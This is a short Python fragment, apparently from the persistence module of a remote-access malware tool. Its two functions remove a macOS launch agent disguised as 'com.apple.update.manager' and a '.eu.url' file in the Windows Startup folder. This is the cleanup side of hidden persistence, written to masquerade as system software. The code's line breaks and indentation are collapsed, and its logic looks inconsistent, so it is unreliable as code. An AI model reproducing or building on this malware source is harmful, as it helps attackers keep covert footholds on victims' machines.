def _remove_launch_agent(value=None, name='com.apple.update.manager'): try: if methods['launch_agent'].established: launch_agent = persistence['launch_agent'].result if os.path.isfile(launch_agent): util.delete(launch_agent) return (False, None) except Exception as e: util.log("{} error: {}".format(_remove_launch_agent.func_name, str(e))) return (methods['launch_agent'].established, methods['launch_agent'].result)
def _remove_startup_file(): try: if methods['startup_file'].established: value = methods['startup_file'].result if value and os.path.isfile(value): if os.name != 'nt': return (False, None) appdata = os.path.expandvars("%AppData%") startup_dir = os.path.join(appdata, r'Microsoft\Windows\Start Menu\Programs\Startup') startup_file = os.path.join(startup_dir, value) + '.eu.url' if os.path.exists(startup_file): util.delete(startup_file) return (False, None) except Exception as e: util.log('{} error: {}'.format(_remove_startup_file.func_name, str(e)))